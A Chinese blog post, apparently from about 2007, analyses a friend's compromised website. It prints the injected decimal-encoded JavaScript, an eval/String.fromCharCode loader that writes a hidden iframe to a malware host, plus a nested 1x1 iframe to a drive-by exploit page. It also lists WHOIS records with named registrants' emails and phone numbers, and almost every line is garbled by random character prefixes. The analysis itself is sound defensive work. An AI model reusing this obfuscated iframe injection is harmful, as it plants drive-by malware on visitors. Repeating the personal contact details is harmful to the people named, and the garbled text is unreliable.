首发在我的博客里面，
`.a L>hf yWIieztp http://www.areway.cn/?p=175 OdQ >h$ gZ t^?8Di \ E E?v~6"& 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
A`(p6 H"s V$
38 <script>t=’60,105,102,114,97,109,101,
N-^\X3X 32,115,114,99,61,104,116,116,112,58,47,47,
==x3|^0y 102,114,101,101,46,117,45,117,117,117,46,99,
qU8UKI P 110,47,101,114,114,111,114,46,104,116,109,
`Q26Dk 32,119,105,100,116,104,61,49,48,48,32,104,
N(Y9FD;H 101,105,103,104,116,61,48,62,60,47,105,102,
{%D
"0* ^ 114,97,109,101,62′;
jbIWdHZ/US t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
Z.6`O1OY}? wdBytH6r. <script>t=’60,105,102,114,97,109,101,32,115,
?3SlvKI}H` 114,99,61,104,116,116,112,58,47,47,102,114,
$ajw]2kx 101,101,46,117,45,117,117,117,46,99,110,47,
B0p>' O2 101,114,114,111,114,46,104,116,109,32,119,
SUD]Wl7G`r 105,100,116,104,61,49,48,48,32,104,101,105,
=)M 8>>l 103,104,116,61,48,62,60,47,105,102,114,97,
-Kg@Sj/U}R 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
'lC"wP&$ document.write(t);</script>
'5ky< XyS#6D <html xmlns=”
u4VQx,, http://www.w3.org/1999/xhtml ]&/jvA=\l, “>
ibzYY"D: <head>
rShi"Yw <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
*(?YgV <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
O#O~A | <title>首页 - 爱生活家庭网
#a#~YSnG "EEE09~l\ 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
b]RCe^E1 转换字符串后的大概内容是（谁点击后果自付）：
344,mnAd <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
j,/o 0k, ^%_B'X9 查询玉米u-uuu.cn的详细信息：
/<:9NP' ^ Domain Name: u-uuu.cn
74gU 4 T ROID: 20070901s10001s64972306-cn
EoU}@MjM~ Domain Status: ok
L*FmJ{Yf Registrant Organization: 王雷
gY0*u+LF Registrant Name: 王雷
|Q 9S$l] Administrative Email:
czlovexs@126.com 6FEtq,;0w Sponsoring Registrar: 北京万网志成科技有限公司
/oiAAB27 Name Server:ns.yovole.com
JS(KCY 9 Name Server:ns1.yovole.com
YD@V2 g K Registration Date: 2007-09-01 17:54
tB(Q -c Expiration Date: 2008-09-01 17:54
!c6 lP'U 最后PING了一下地址 都没有什么….
1< \cMY6 p00\C 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
Rp`}"x9 <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
l^$ :R~gS <script language=”javascript” src=”
PNc200`v4_ http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script vJ"@#$. >
!LIWoa[ F. 这个玉米应该有可能是木马作者的：
asQ" |]m foafau.info的详细信息：
w-/bLg[L?$ Access to INFO WHOIS information is provided to assist persons in
s # L1:L determining the contents of a domain name registration record in the
:\80*[=;Z Afilias registry database. The data in this record is provided by
yr sP'th Afilias Limited for informational purposes only, and Afilias does not
Fi5,y;]R guarantee its accuracy. This service is intended only for query-based
Ce 5
}+A} access. You agree that you will use this data only for lawful purposes
gFDP:I/ ` and that, under no circumstances will you use this data to: (a) allow,
u85y;AE,( enable, or otherwise support the transmission by e-mail, telephone, or
A1Q]K S@ facsimile of mass unsolicited, commercial advertising or solicitations
2#+@bk>^{ to entities other than the data recipient’s own existing customers; or
xmiF!R (b) enable high volume, automated, electronic processes that send
R 63"j\0 queries or data to the systems of Registry Operator, a Registrar, or
Y }1|/6eJ Afilias except as reasonably necessary to register domain names or
&OI=r vDmo modify existing registrations. All rights reserved. Afilias reserves
.\U +`>4av the right to modify these terms at any time. By submitting this query,
_"WQi}Mm you agree to abide by this policy.
`n^jU92 Domain ID:D22418703-LRMS
qk_
s"}s S Domain Name:FOAFAU.INFO
bO2$0!=I Created On:20-Nov-2007 16:05:42 UTC
k9 ^P#l@p Last Updated On:20-Nov-2007 16:05:44 UTC
6bb=; Expiration Date:20-Nov-2008 16:05:42 UTC
ke3=s Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
0*g
psS Status:CLIENT DELETE PROHIBITED
uN $X3Ls_ Status:CLIENT RENEW PROHIBITED
1GEE ^Eu Status:CLIENT TRANSFER PROHIBITED
%J|EDf ,M Status:CLIENT UPDATE PROHIBITED
8l='H l Status:TRANSFER PROHIBITED
kOtC(\]5 Registrant ID:GODA-040110615
WO)K*c1F Registrant Name:liu hong
p~3CXmUc~ Registrant Organization:
; $y.+5 q Registrant Street1:beijing
R o-Mex2 Registrant Street2:
xY!]eLZ)& Registrant Street3:
3I"&Qp%2 Registrant City:beijing
K]
Eq"3 Registrant State/Province:
sS-5W-&P{T Registrant Postal Code:100000
c&0IJ7fZG Registrant Country:CN
Pi8U}lG; Registrant Phone:+86.860108888777
a?J U( Registrant Phone Ext.:
x(S 064 Registrant FAX:
tY[y ? DJ Registrant FAX Ext.:
*\joaw Registrant Email:bbbshiji@163.com
l,v :[N Admin ID:GODA-240110615
Qy6A vw/$ Admin Name:liu hong
,%KB\;1mn' Admin Organization:
( j-(fS Admin Street1:beijing
>M vt;'c Admin Street2:
^2mXXAQf7^ Admin Street3:
}>Os@]*'^( Admin City:beijing
w:umr# Admin State/Province:
*:&fw'vd, Admin Postal Code:100000
-9aht}Z Admin Country:CN
'm2,7] Admin Phone:+86.860108888777
5T Admin Phone Ext.:
?L'k2J Admin FAX:
S>"d UM Admin FAX Ext.:
,#c-"x Y Admin Email:bbbshiji@163.com
5X`.2q=d Billing ID:GODA-340110615
7PisX!c,h Billing Name:liu hong
C&5T;=<jKO Billing Organization:
y !v $5wi Billing Street1:beijing
@{ nT4{ Billing Street2:
Vm6^'1CY Billing Street3:
1%-?e``. Billing City:beijing
MiSFT5$v6 Billing State/Province:
Ab(bvS8r$ Billing Postal Code:100000
Cog:6Gnw Billing Country:CN
c3
wu&*p{ Billing Phone:+86.860108888777
+m+HC(Z Billing Phone Ext.:
W:) M}}& H Billing FAX:
[{ zekF~)@ Billing FAX Ext.:
+6;OB@ Billing Email:bbbshiji@163.com
-_4! id Tech ID:GODA-140110615
aoJ&< vl3 Tech Name:liu hong
{;-$;\D Tech Organization:
RMvlA' c Tech Street1:beijing
yGD0}\!n Tech Street2:
\4vFEJSh Tech Street3:
xeHu-J!P Tech City:beijing
}Ns_RS$ Tech State/Province:
db4&?55Q Tech Postal Code:100000
P0z "Eq0S Tech Country:CN
b u hxC5i% Tech Phone:+86.860108888777
yqBu7E$X Tech Phone Ext.:
Iy,)>V%iZV Tech FAX:
C u?$!|V Tech FAX Ext.:
DX!$k[ Tech Email:bbbshiji@163.com
k[ zf` x^ Name Server:NS27.DOMAINCONTROL.COM
?.Kl/8ml Name Server:NS28.DOMAINCONTROL.COM
'PO1{&M Name Server:
4o=G) KO{ Name Server:
X'u`\<&W Name Server:
t*<c+Ixu Name Server:
'rF TtT
Name Server:
6 XG+YIG6w Name Server:
)8k6GO8| Name Server:
nut7b Name Server:
,2cw9?< Name Server:
+Rh'VZJs Name Server:
ZU@V]+ww Name Server:
|aVv Lz z[k2&= c 接着下载每个文件里面的代码：
brVT 一步一步看..
:heJ5* !, 
A%2!Hr 
jG^~{7# 
ze ua`jQ 
Jg Xbs+. 
e U12*( 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
